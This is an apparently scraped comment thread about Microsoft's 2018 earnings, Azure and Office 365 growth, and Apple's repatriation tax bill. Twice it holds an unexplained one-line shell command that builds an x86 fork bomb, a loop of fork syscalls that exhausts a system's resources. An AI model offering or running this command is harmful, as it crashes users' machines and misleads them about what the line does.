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Microsoft's Cloud Bet Continues To Pay Off In Latest Earnings (theverge.com)
In its 2018 financial results, Microsoft reported revenue of $28.9 billion and net income of $7.5 billion. "Revenue has jumped 12 percent year-over-year during the holiday quarter, and the trend of Microsoft's success with the cloud has continued," reports The Verge. "This time around, Azure revenue has increased by a massive 98 percent." From the report: Overall server and cloud services revenue grew 18 percent year-over-year, alongside the massive 98 percent jump in Azure revenue. It's clear Microsoft's future growth and revenue opportunities are with the cloud, so it's no surprise to see the company continually investing there to be competitive with Amazon. Microsoft's Office 365 subscription bet for consumers is also paying off. 29.2 million people are now using Office 365 on the consumer side, with revenue increasing 12 percent year-over-year for Office consumer and cloud. On the commercial side, Office revenue is also up at a 10 percent increase since the same period last year.
it may not have grown much but in the current market that is actually bloody good where competitors saw decreases. something like the surface is never going to be a constant growth, it is a solid revenue earner
yeah they must be truly panicking with only 1.3 billion revenue from surface devices a quarter, better bail on a hugely profitable business because it isn't in fast growth mode, what a disaster.
How does one pronounce "azure"? I've heard AHZ-uhr, ey-ZUHR, Escher, as-YURE and a few others...
If construction was anything like programming, an incorrectly fitted lock would bring down the entire building...
The future is Windows 10S and Edge (no other browsers allowed) connected clouds at Microsoft, with secure boot and end of support locking out Windows 7 and Linux. You will pay for this future and like it.
its a net loss due to a one time hit due to the tax changes. basically bringing money back into the country has a tax cost. So while that makes it a net loss on paper for the quarter it isn't really relevant to the health of their business
perhaps use some more modern numbers rather than making garbage guesses to come to garbage conclusions. MS are still a long way behind but they are chipping away at the lead.
https://winbuzzer.com/2018/01/16/report-microsoft-azure-took-4-market-share-aws-last-quarter-xcxwbn/
I work for a small VAR and other than Office 365, almost nobody is interested in Microsoft cloud systems. We had a guy go whole hog into training and there was little customer interest, which doesn't help his (or anyone else's) training since it's a fairly dynamic offering which seems to evolve quickly.
I have been unimpressed with Office 365. The online tools are missing basic features present in the on-premise version. And the costs are high, once you pass about 40 users on premise is actually cheaper, and more so as your numbers increase.
Microsoft shot itself in the foot with the clusterfuck that was the Windows 8 "no start button" UI - nobody using Windows wanted the Win 7 interface changed significantly, and certainly not in the horrible way Win 8 did it. Win 7 was a good OS, and worked fine for just about any task. Windows 8 was, to put it bluntly, unusable. Almost like somebody sat down and said "lets inflict as much pain and inconvenience on the user as possible". Then, MS wanted everybody to pay again for Windows 10, and imposed all sorts of crap on people with Win 10 - upgrades that happen on their own, telemetry that can't be switched off, privacy settings that seem to do nothing - and so on and so forth. All while giving people a release 10 that was inferior in many ways to release 7, which by this time ran lightning fast on current hardware. Microsoft's CEO comes from a cloud-engineering background and is an "all cloud all the time" sort of guy. Is this good for consumers? No. But it is good for OSX and Linux. I've been on Windows for 20+ years, and I'm also considering going over to Linux. I also don't want my office documents or other personal stuff in anybody's datacenter. So Office 365 is totally unattractive to me, whereas LibreOffice for example is looking better and better to me all the time. Perhaps MS should get a new CEO who isn't cloud-crazy.
Why did the chicken cross the road? Because Elon Musk put an AI chip in its head.
Apple also paid a one time $38 billion tax bill to bring overseas money back into the country. Where it will employ people and generate profits that are taxed
https://www.bloomberg.com/news...
It's almost like reducing corporate tax rates increases economic activity and future tax revenues or something.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
I think that Walmart's recent (2017) policy of refusal to conduct business with any partner who uses AWS has probably driven a lot of business in the direction of Azure. And big businesses.
Really? Wow. How do you know what Apple is going to do with the billions they brought back into the company? Maybe they will just keep it, or spend it on gold plated Ferraris. You must be on the Board to know that they are going to use it to employ people and generate taxable profits.
They paid the $38 billion so they could bring offshore money back to the US where they intend to create 20,000 jobs. They'll spend $30 billion over five years doing it
https://www.bloomberg.com/news...
Apple Inc. said it will bring hundreds of billions of overseas dollars back to the U.S., pay about $38 billion in taxes on the money and spend tens of billions on domestic jobs, manufacturing and data centers in the coming years.
The iPhone maker plans capital expenditures of $30 billion in the U.S. over five years and will create 20,000 new jobs at existing sites and a new campus it intends to open. The Cupertino, California-based company's shares rose 1.7 percent to a record closing price of $179.10.
and if you look further down the total expenditure is much larger - around $200 billion
Apple has the largest offshore cash reserves of any U.S. company, with about $252 billion at the end of September, the most recently reported fiscal quarter. The tax rate indicates that Apple is likely bringing back a majority of its overseas cash back to the U.S., leaving only a small portion for international investments like retail stores.
"They're going to have well over $200 billion by the end of this year that will be available for incremental investments, capital returns and M&A," said Matthew Kanterman, a New York-based Bloomberg Intelligence analyst. The new tax law lets U.S. companies bring overseas cash reserves back home in one year and pay the resulting tax bill over eight years. "And Apple hasn't historically done big M&A," he said.
Five-Year Spending Plan
The $30 billion in capital expenditures will come as part of $350 billion that Apple expects to spend in the U.S. over the next five years. The 20,000 new jobs include additional Apple employees at its campuses, data centers, and retail stores, but not third-party developers for iPhone and Mac apps, an economy Apple has touted in the past.
Apple said that part of the $30 billion in capital expenditures will go toward a new U.S.-based campus, new data centers and additional supplier investments. The company, which opened a new headquarters in Cupertino last year, said its new U.S. site initially will be focused on employees who provide technical support to Apple product users. The new location, which Apple said it will announce later this year, will be similar to the company's existing campus in Austin, Texas, for supply-chain and technical-support employees.
Can This Tax Proposal Lure Companies and Cash Home?: QuickTake
Apple said it will increase its local manufacturing fund, announced last year, from $1 billion to $5 billion, indicating that it will be sourcing more components for its products domestically. As part of the original fund, Apple invested in Corning Inc. and Finisar Corp., companies that make components for iPhone glass screens and lasers for Face ID and AirPods, respectively.
Now as I have often pointed out Apple is not a charity but a fairly ruthless profit making entity that would slaughter its users and sell their organs if it could do so without causing expensive class action lawsuits that would make such a course of action unprofitable. It is therefore reasonable to think the Apple board expect to make substantially more than the $38 billion it lost in taxes by moving money on shore.
If Apple wanted to leave the money dormant it could leave it offshore. They're obviously bringing the money back to the US because they think they can sweat it more there as the Bloomberg article explains.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;